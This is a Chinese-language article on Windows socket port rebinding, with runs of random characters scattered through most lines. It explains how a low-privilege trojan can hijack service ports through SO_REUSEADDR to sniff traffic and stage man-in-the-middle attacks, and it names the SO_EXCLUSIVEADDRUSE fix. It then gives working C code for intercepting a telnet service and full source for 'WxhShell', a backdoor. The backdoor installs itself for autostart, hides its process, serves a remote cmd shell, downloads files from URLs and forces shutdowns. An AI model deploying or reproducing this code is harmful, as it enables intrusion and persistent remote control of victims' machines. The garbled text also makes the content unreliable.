在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
n>eIQaV s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
NMj`wQ`M+ HOUyB's' saddr.sin_family = AF_INET;
_*;cwMne- >WD^)W fa saddr.sin_addr.s_addr = htonl(INADDR_ANY);
I{Kc{MXn z)]EB6uRg bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
TY#1Z )% N%_~cR; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Y7jD:P (la 这意味着什么?意味着可以进行如下的攻击:
txgGL' DRzpV6s 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
JA)gM [n}c}% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
lZua"Ju c]"B)I1L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
xUw\Y(! -w2ga1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
KXM-GIRUG .o-j 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Lhc@*_2 <.' cCY 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
J`8>QMK^5 s<dD>SU 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
RSi0IfG5 yk5P/H) #include
7L\GI`y #include
6X jUb #include
[@y=%\%R #include
WR-C_1-pT DWORD WINAPI ClientThread(LPVOID lpParam);
yd%\3}- int main()
EiN.VU ` {
ljis3{kn"" WORD wVersionRequested;
_F*w
,b$8 DWORD ret;
Y5NbY02E WSADATA wsaData;
M$?6
' BOOL val;
B~aOs>1
S] SOCKADDR_IN saddr;
X
or ,}. w SOCKADDR_IN scaddr;
\|pAn int err;
6P~"7k SOCKET s;
p%ZiTrA1&D SOCKET sc;
`%XgGHiE int caddsize;
$`Xx5Ts7 HANDLE mt;
bSR<d DWORD tid;
vX/A9Qi,U. wVersionRequested = MAKEWORD( 2, 2 );
Hb+#*42v err = WSAStartup( wVersionRequested, &wsaData );
A{J 1 n if ( err != 0 ) {
t?
A4xk printf("error!WSAStartup failed!\n");
MELGTP> return -1;
<D dHP }
{l11WiqQH saddr.sin_family = AF_INET;
Vtg/,1KQ 4@V]zfu^Q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
9v
F2aLPk {^kG<v.vV saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
j~E +6f\ saddr.sin_port = htons(23);
>a7(A#3@d if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5An0DV5 {
sBb.Y
k printf("error!socket failed!\n");
<ut DZ#k return -1;
9$,gTU_a }
pG( knu val = TRUE;
9i<-\w^$ //SO_REUSEADDR选项就是可以实现端口重绑定的
KYu(H[a if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
n2{{S(N {
9f^PR|F printf("error!setsockopt failed!\n");
BR^J y<^F' return -1;
7ILa H|eN }
J=X%
xb //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
cQ.;dtT0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
hcgc
=$^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
$uw+^(ut Z&w^9;30P if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-p.*<y {
K~8tN,~& ret=GetLastError();
Hm
VTfH' printf("error!bind failed!\n");
'98h<(@] return -1;
M6'C 3,y0 }
ewrWSffe listen(s,2);
=_=Z;#`cXk while(1)
}#G"!/ZA0: {
nbASpa( caddsize = sizeof(scaddr);
_`_IUuj$E //接受连接请求
K` ,d$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
0BCGJFZ{ if(sc!=INVALID_SOCKET)
E^ok`wfO {
I26gGp mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
[-t> G!) if(mt==NULL)
`MsYgd {
9J7J/]7f printf("Thread Creat Failed!\n");
EotwUT| break;
sk
?'^6Xh }
|R;l5ZKvV }
Z SRRlkU CloseHandle(mt);
V`\f+Uu }
l^!A closesocket(s);
*?bk?*?s WSACleanup();
oKYhE return 0;
Q*:h/Lhb& }
\$'m^tVU DWORD WINAPI ClientThread(LPVOID lpParam)
:@ E1Pun? {
tP`G]BCbt SOCKET ss = (SOCKET)lpParam;
c',:@2R SOCKET sc;
+lW}ixt unsigned char buf[4096];
?7uKP}1| SOCKADDR_IN saddr;
^.#X<8hr long num;
,|.8nk" DWORD val;
a_{io`h3& DWORD ret;
;T.s!B$Uu //如果是隐藏端口应用的话,可以在此处加一些判断
R6!cK[e]4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;tp]^iB# saddr.sin_family = AF_INET;
#*$_S@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Ug7`ez4vw saddr.sin_port = htons(23);
#Pu@Wx if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zg#m09[4 {
hza> jR printf("error!socket failed!\n");
DD!MGf/ return -1;
d&|z=%9xl }
rFmKmV val = 100;
#zS1Zf^KP if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[eNkU">} {
id;#{O$ ret = GetLastError();
_F`$ d2 return -1;
]C16y.
~e }
5: daa if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c62dorDqy {
v2hZq-q ret = GetLastError();
-)1-~7
r return -1;
`^7:7Wr]= }
M{?zvq?d if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
d,c8Hs8 {
PiMKu|,3 printf("error!socket connect failed!\n");
TB7>s~)47E closesocket(sc);
;,1=zhKU. closesocket(ss);
(O\U /daB return -1;
sm 's-gD }
No`|m0 :j while(1)
|KL')&" {
%#~((m1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
q#P$'7" //如果是嗅探内容的话,可以再此处进行内容分析和记录
@j O4EEe: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
P$Z} num = recv(ss,buf,4096,0);
,E\h !/X if(num>0)
j-7u>s-l send(sc,buf,num,0);
Kv(z4 z else if(num==0)
jY7=mAd break;
XC[]E)8 num = recv(sc,buf,4096,0);
~C&*.ZR if(num>0)
lnS(&`oh\= send(ss,buf,num,0);
l)4O . * else if(num==0)
#j;Tb2&w break;
+l`65!" }
! Tx&vtq closesocket(ss);
96d~~2p closesocket(sc);
_V@WNo%B return 0 ;
HBH$
}
xc9YM0B& X) V7bVW 9 Ycn0 ==========================================================
q:I$EpKf?Q <aJ$lseG 下边附上一个代码,,WXhSHELL
,`k_|//}= K]c4"JJ ==========================================================
nq"evD5 E<>*(x/\e #include "stdafx.h"
bu>qsU3 $B;_Jo\| #include <stdio.h>
WJ|:kuF #include <string.h>
f`jc#f5+' #include <windows.h>
nVE9^')8V #include <winsock2.h>
n]Zk;%yL #include <winsvc.h>
}GumpT$Xw #include <urlmon.h>
(hIF]>,kl jjRUL. #pragma comment (lib, "Ws2_32.lib")
pY@Y?Jj #pragma comment (lib, "urlmon.lib")
_A98 !Uh2}ic #define MAX_USER 100 // 最大客户端连接数
<a4TO8 #define BUF_SOCK 200 // sock buffer
As~(7?]r #define KEY_BUFF 255 // 输入 buffer
w~z[wm Okp #2RiLht #define REBOOT 0 // 重启
/kgeV4]zR #define SHUTDOWN 1 // 关机
hfqqQ!,l! ~*M$O & #define DEF_PORT 5000 // 监听端口
r> k-KdS "g>.{E5 #define REG_LEN 16 // 注册表键长度
~e `Bq> #define SVC_LEN 80 // NT服务名长度
KzjC/1sd c~0{s> // 从dll定义API
oc7$H>ET1 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
CS 8jA\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
TX}T|ri typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.f:n\eT): typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
w]u@G-e OtJ\T/q, // wxhshell配置信息
f$.?$ struct WSCFG {
FS6<V0pil int ws_port; // 监听端口
qnM|w~G char ws_passstr[REG_LEN]; // 口令
5!I4l1 int ws_autoins; // 安装标记, 1=yes 0=no
Q8D&tJg char ws_regname[REG_LEN]; // 注册表键名
8'Z:ydj^, char ws_svcname[REG_LEN]; // 服务名
a2w T6jY char ws_svcdisp[SVC_LEN]; // 服务显示名
Ml?~
|_ char ws_svcdesc[SVC_LEN]; // 服务描述信息
j'?7D0> char ws_passmsg[SVC_LEN]; // 密码输入提示信息
YAVy9$N- int ws_downexe; // 下载执行标记, 1=yes 0=no
W=JAq%yd< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!8
-oR6/$% char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4jNG^@O =PkO!Mm8 };
POAw M H#i{?RM@l // default Wxhshell configuration
!}f1`/ struct WSCFG wscfg={DEF_PORT,
g13 rx%- "xuhuanlingzhe",
7j$Pt8$ 1,
#>[a{<;Kn "Wxhshell",
q5x[~]? "Wxhshell",
5O<>mCF "WxhShell Service",
D}3T|N "Wrsky Windows CmdShell Service",
{2&m`Dbm "Please Input Your Password: ",
JIm4vS 1,
T!RT<& "
http://www.wrsky.com/wxhshell.exe",
1PH:\0} "Wxhshell.exe"
g7\,{Bw#E };
?S
Z1`.S 5%zXAQD=< // 消息定义模块
Pq9|WV#F5/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yWDTjY/ char *msg_ws_prompt="\n\r? for help\n\r#>";
jN31hDg<z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
G{Yz8]m char *msg_ws_ext="\n\rExit.";
3S*AxAeg char *msg_ws_end="\n\rQuit.";
Yd
EptAI char *msg_ws_boot="\n\rReboot...";
8uNULob char *msg_ws_poff="\n\rShutdown...";
Jzkq)]M char *msg_ws_down="\n\rSave to ";
;5_{MCPM m)v''`9LU char *msg_ws_err="\n\rErr!";
"_|oW n char *msg_ws_ok="\n\rOK!";
j.e0;!
(L} uo\ .7[1
char ExeFile[MAX_PATH];
>Dw~POMy int nUser = 0;
^3VR-u <O HANDLE handles[MAX_USER];
wh6yPVVF/ int OsIsNt;
Q=mI9 oA] KE"T SERVICE_STATUS serviceStatus;
$
_j[2EU SERVICE_STATUS_HANDLE hServiceStatusHandle;
xu5ia|gYz7 NLS"eDm // 函数声明
x5}'7,A int Install(void);
v+7kU= int Uninstall(void);
#:jb*d? int DownloadFile(char *sURL, SOCKET wsh);
{\H/y c|@ int Boot(int flag);
1CU>L[W) void HideProc(void);
mw$r$C{ int GetOsVer(void);
aNcd`
$0 int Wxhshell(SOCKET wsl);
S$TmZk= void TalkWithClient(void *cs);
fyTAou6hI int CmdShell(SOCKET sock);
Vd^g9 int StartFromService(void);
E 99hlY~1: int StartWxhshell(LPSTR lpCmdLine);
$YxBE`)d- (*}yjUYLZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
S$)*&46g VOID WINAPI NTServiceHandler( DWORD fdwControl );
2H71~~ c z]B]QB
Y[ // 数据结构和表定义
f()FY<b SERVICE_TABLE_ENTRY DispatchTable[] =
$`ZzvZ'r {
32DbNEk {wscfg.ws_svcname, NTServiceMain},
zgx&Pte {NULL, NULL}
L`f^y;Y. };
5oEV-6 o#) {1<0vg // 自我安装
x:-.+C% int Install(void)
Z4<L$i;/jN {
A?_ =K char svExeFile[MAX_PATH];
L86n}+
P\ HKEY key;
E )Gw0]G strcpy(svExeFile,ExeFile);
O[tvR:Nh Q!-
0xlx // 如果是win9x系统,修改注册表设为自启动
P-F)%T[ if(!OsIsNt) {
3 LDS
Z1f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
--;@2:lg{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&'cL%. RegCloseKey(key);
vEf4HZ&w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\(226^|j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8fA_p}wp RegCloseKey(key);
GjoIm? return 0;
#^m0aB7r }
%CWPbk^ }
D\IjyZ-O }
SJD@&m%?[ else {
9T#;,{VQ P96pm6H_; // 如果是NT以上系统,安装为系统服务
_zlqtO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
zvABU+{jD if (schSCManager!=0)
fYKO J5f {
C{TA.\ SC_HANDLE schService = CreateService
hxce\OuU0h (
" \I4u{zC schSCManager,
"KcA wscfg.ws_svcname,
n>@oBG)! wscfg.ws_svcdisp,
W3`>8v1?o SERVICE_ALL_ACCESS,
pv|Pm SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
R$; n)_H SERVICE_AUTO_START,
@`\VBW SERVICE_ERROR_NORMAL,
(&/2\0QV svExeFile,
}VDqj}is NULL,
wFG3KzEq ~ NULL,
*s@Qtgu NULL,
U
qG
.:@T NULL,
+`3!I NULL
V_plq6z );
+ QQS={ if (schService!=0)
06jqQ-_`h {
hig2
CloseServiceHandle(schService);
[+O"<Ua CloseServiceHandle(schSCManager);
.<kqJ|SVi strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
C9p"?vX strcat(svExeFile,wscfg.ws_svcname);
THmb6^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
y%
:4b@< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2]% h$f+ RegCloseKey(key);
Bl=tYp|a return 0;
9UvXC)R1 }
eQQ> }
^CwR!I.D}4 CloseServiceHandle(schSCManager);
[+qCs7' }
v[Kxja; }
zYl#4O`=c C8F 7bG8c return 1;
sz9L8f2 }
3fN.bU9_ `/Y{ l // 自我卸载
JN7k 2]{ int Uninstall(void)
<&)v~-&O
{
@&[T _l HKEY key;
Y@PI {;! /x3/Ubmz~x if(!OsIsNt) {
l<M'=-Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bH"hX RegDeleteValue(key,wscfg.ws_regname);
{BKl` 1z RegCloseKey(key);
j0@[Br %7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ca+[0w@S RegDeleteValue(key,wscfg.ws_regname);
~'R(2[L!; RegCloseKey(key);
$s<Ne{? return 0;
McPNB`.H }
y8fsveX }
;5@ t[r }
&+G"k~% else {
{rcnM7 S1L =y=cW1TG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}NsUnbxT if (schSCManager!=0)
4H@Wc^K {
#-h\. #s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
c'*a{CV4P if (schService!=0)
?
w^- {
&y<ZE if(DeleteService(schService)!=0) {
jsNF#yE> CloseServiceHandle(schService);
Wh&8pH: CloseServiceHandle(schSCManager);
L/"0ws_ return 0;
LzYO$Ir:g }
>0l"P"] CloseServiceHandle(schService);
!t i6 }
(%`QhH CloseServiceHandle(schSCManager);
k__$Q9qj( }
/T.KbLx~q }
&N3Y|2 VN%INUi@ return 1;
I* VCpaA }
a')|1DnR ^B+!N; // 从指定url下载文件
!+:ov'F int DownloadFile(char *sURL, SOCKET wsh)
\e`~i@) ~Z {
u :F~K HRESULT hr;
O@YTAT&d# char seps[]= "/";
Z{H5oUk char *token;
5O`dO9g}$ char *file;
Hk|0HL char myURL[MAX_PATH];
;[a|9TPR char myFILE[MAX_PATH];
F]9nB3:W x"~~l strcpy(myURL,sURL);
t!IaUW token=strtok(myURL,seps);
hHDOWHWE while(token!=NULL)
c2K:FdB {
g(#f:" file=token;
}MlwC;ot token=strtok(NULL,seps);
HI@syFaJM }
DLCkM*' b"TjGE GetCurrentDirectory(MAX_PATH,myFILE);
{aM<{_v strcat(myFILE, "\\");
>"Q@bQ:e strcat(myFILE, file);
9aJ%`i send(wsh,myFILE,strlen(myFILE),0);
+kFxi2L6 send(wsh,"...",3,0);
,6r{VLN hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
B*E2.\~ if(hr==S_OK)
wfjnA~1h return 0;
fK(}Ce else
E_zIg+(+ return 1;
5^j45'%I xzx$TUL }
hI( SOsKs M'!U<Y
- // 系统电源模块
}mZwd_cK int Boot(int flag)
<r3J0)r} {
JCW\ *R HANDLE hToken;
kHqzt g TOKEN_PRIVILEGES tkp;
%e@#uxm pT$f8xJ if(OsIsNt) {
r
6Q Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/6_|]ijc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
SvR7eC tkp.PrivilegeCount = 1;
j+HHQd7Y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
L;od6<.*m AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@&}q}D if(flag==REBOOT) {
Vi$-Bw$@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
n-TQ*&h]3S return 0;
;.bm6(; }
WMj}kq)SY) else {
CSCN['x if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
n>'Kp T9| return 0;
<G*nDFWf }
ooV*I|wcI
}
;vb8G$ else {
6[]]Y,Y if(flag==REBOOT) {
!`7B^RZ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
x\Y $+A,P return 0;
uWrQ&}@ }
XbQlHfrS else {
FW.$5*f=' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
EJ`T$JD return 0;
\Y}3cE }
mZUfn%QXb( }
3 LdQ]S X*L;.@xA return 1;
&
=/ }
C
XHy.&Vt *x)8fAr // win9x进程隐藏模块
TW^/sx void HideProc(void)
Lq>&d,F06) {
z.rh]Zq Dn>%%K@0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
C^)*Dsp if ( hKernel != NULL )
(os$B {
O3CFme pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
=!Q7}z1QI ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
AO
UL^$& FreeLibrary(hKernel);
f}D1|\7 }
F"N60>> ;Q+xKh% return;
y?SyInt }
nQGQWg` " ZX3sfkh // 获取操作系统版本
Sc7U|s int GetOsVer(void)
4l&g6YneX {
/W<>G7%. OSVERSIONINFO winfo;
+,2Jzl'- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
,<:!NF9 GetVersionEx(&winfo);
A 8 vbQ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6&bIXy return 1;
!a~`Bs$'jr else
i%6; return 0;
SIKOFs }
xTGxvGv8 N
D<HXO // 客户端句柄模块
BIj=!! int Wxhshell(SOCKET wsl)
B:Z_9,gj-N {
J6<rX[
yZe SOCKET wsh;
ltFq/M struct sockaddr_in client;
(8ht*b.5K DWORD myID;
(|d34DOJ {vo +gRYYv while(nUser<MAX_USER)
+x1eJug4 {
Tz9`uW~Mf int nSize=sizeof(client);
uf&N[M wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
^_ojR4 if(wsh==INVALID_SOCKET) return 1;
HV/c c" dik9 >*"|o handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`
\A(9u* if(handles[nUser]==0)
a
{ab*tM closesocket(wsh);
}^(}HBT else
,j 5&6X=1M nUser++;
l$hJE;n }
S1U@UC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5Q=P4w!' Pf F=m' return 0;
]x&u`$F }
z5bo_Eq "@9?QI} // 关闭 socket
<9sO void CloseIt(SOCKET wsh)
F,5r9^,_ {
[TCP-bU closesocket(wsh);
$'pNp
B#vH nUser--;
Va$Pi19 O ExitThread(0);
-8N|xQ378 }
hd 0'u NvN~@TL28 // 客户端请求句柄
>{ me void TalkWithClient(void *cs)
+
S4fGT {
Zatf9yGD qT/Do?Y SOCKET wsh=(SOCKET)cs;
?b!Fa char pwd[SVC_LEN];
<|?K%FP7Z char cmd[KEY_BUFF];
dCu'>G\bP char chr[1];
_uc\ D
R int i,j;
CDi<<, *UW=Mdt while (nUser < MAX_USER) {
S60IPya pN\Vr8tJ if(wscfg.ws_passstr) {
>E,U>@+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m4:^}O-# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T}3v(6ew4 //ZeroMemory(pwd,KEY_BUFF);
>h+349 i=0;
+\"-P72vjk while(i<SVC_LEN) {
gDIBnH J1XL<7 // 设置超时
Db"DG( fd_set FdRead;
;#MB7A
struct timeval TimeOut;
al+ #y)+ FD_ZERO(&FdRead);
}qjCTEs} FD_SET(wsh,&FdRead);
""svDfy$ TimeOut.tv_sec=8;
iE.-FZc TimeOut.tv_usec=0;
)wVIb)`R>Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
:SV>+EDY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
RmI1` _owjTo} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
]B=C|usJ pwd
=chr[0]; 1p'Le!
if(chr[0]==0xd || chr[0]==0xa) { ",>H(wJ8
pwd=0; 7DlOW1|
break; h3gWOU
} IHC1G1KW=A
i++; :D7|%KK
} oRp:B&
!jqWwi
// 如果是非法用户,关闭 socket U1_&gy @y
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6x=YQwn~
} +%\oO/4Fs
8j1ekv
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UhmTr[&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q8ImrC.'^
AnZclqtb
while(1) { B}d.#G+_$x
&L^CCi
ZeroMemory(cmd,KEY_BUFF); h8jD}9^
o/o:2p.
// 自动支持客户端 telnet标准 S=3^Q;V/1
j=0; zhB ">j8j
while(j<KEY_BUFF) { (c v!Y=]
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !G_jGc=v
cmd[j]=chr[0]; [0[M'![8M
if(chr[0]==0xa || chr[0]==0xd) { YDmWN#
cmd[j]=0; E2B>b[
break; IF*&%pB
} _y .]3JNm
j++; M2@^bB\J
} _~aG|mAj
S'B6jJK2x
// 下载文件 xv7"WFb
if(strstr(cmd,"http://")) { ;3C:%!CdA]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;7Oi! BC
if(DownloadFile(cmd,wsh)) X5g[ :QKP7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p4VSma_(
else PNSMcakD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eaad,VBtU
} Ml>( tec
else { (Y(E%
)gR=<oa
switch(cmd[0]) { 1px\K8
nws"RcP+Z
// 帮助 bXM/2Z?6
case '?': { }jF+`!*!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6ri\>QrF
break; *@V*~^V"J[
} VSOz.g>
// 安装 vuz4qCQ
case 'i': { 1@XgTL4
if(Install()) z 2/!m[U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Mmf6hu
else =7
,Kf}6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wHsB,2H
break; u~Tg&0V30
} oQ+61!5>
// 卸载 L4f7s7rJ
case 'r': { o07IcIo
if(Uninstall()) e,A)U5X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U l Mi.;/^
else /48 =UK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b4,jN~ci
break; bdh(WJh%
} 6-,m}Ce\
// 显示 wxhshell 所在路径 PI5j"u UO
case 'p': { @{Py %
char svExeFile[MAX_PATH]; 3]E(mRX
strcpy(svExeFile,"\n\r"); xk~Nmb}
strcat(svExeFile,ExeFile); <M[U#Q~?~e
send(wsh,svExeFile,strlen(svExeFile),0); Gk~l,wV>
break; r{+aeLu
} )WR_
ug
// 重启 8
|h9sn;P
case 'b': { oUW<4l
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u}H$-$jE
if(Boot(REBOOT)) 2pyt&'NJua
send(wsh,msg_ws_err,strlen(msg_ws_err),0); igDyp0t
else { g8pm2o@S
closesocket(wsh); L*]E`Xxd9
ExitThread(0); >HkhAJhW
} M:ai<TZ]
break; m$y]Lf
} p {%t q$}.
// 关机 rPq<Xb\
case 'd': { #w3ru6*W
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VTe.M[:
if(Boot(SHUTDOWN)) :X .,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Na!za'qk[o
else { ,&a`d}g&G
closesocket(wsh); |#5 e|z5(
ExitThread(0); V"d=.Hb>
} Pl~P- n
break; Gm=>!.p
} ^>r^3C)_-
// 获取shell /3^P_\,>f
case 's': { xNdID j@
CmdShell(wsh); , &' Y
closesocket(wsh); =v" xmx&4
ExitThread(0); `"y{;PCt_
break; >BqCkyM9Kf
} ~-Oa8ww
// 退出 )}X5u%woV
case 'x': { S6 }QFx
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9d[qhkPu)
CloseIt(wsh); .L;",E
break;
c>Z*/>~
} P%o44|[][
// 离开 c"Y!$'|Q
case 'q': { 8l xY]UT
send(wsh,msg_ws_end,strlen(msg_ws_end),0); T+TF-] J
closesocket(wsh); <]#o*_aFP
WSACleanup(); Q(\ wx
exit(1); $@87?Ab
break; UxPGv;F
} -ID!pT vW
}
Q&+c.S
} M4<+%EV}
kr_oUXiX
// 提示信息 I($,9|9F
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mCb 9*|
} ~'BUrX\
} [n:PNB
cCng5Nq,c
return; /(%Ig,<"JC
} VJ1*|r,
q`loOm=y
// shell模块句柄 :Ee ?K
int CmdShell(SOCKET sock) ],?pe
{ .98.G4J>
STARTUPINFO si; ul}'{|4
ZeroMemory(&si,sizeof(si)); q,,j',8kq/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (UW6F4:$
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dM|g`rr
E
PROCESS_INFORMATION ProcessInfo; B82,.?
char cmdline[]="cmd"; vo b$iS`>=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zps&[;R$-
return 0; '?}R4w|)
} -lp"#^ ;
:J%'=_I&H
// 自身启动模式 %1jdiHTaL
int StartFromService(void) #uWE2*')
{ u`p_.n:5)
typedef struct 1jOKcm'#
{ Qk7J[4
DWORD ExitStatus; v!!;js^
DWORD PebBaseAddress; {"4<To]z
DWORD AffinityMask; aiR5/
ZD
DWORD BasePriority; .wri5
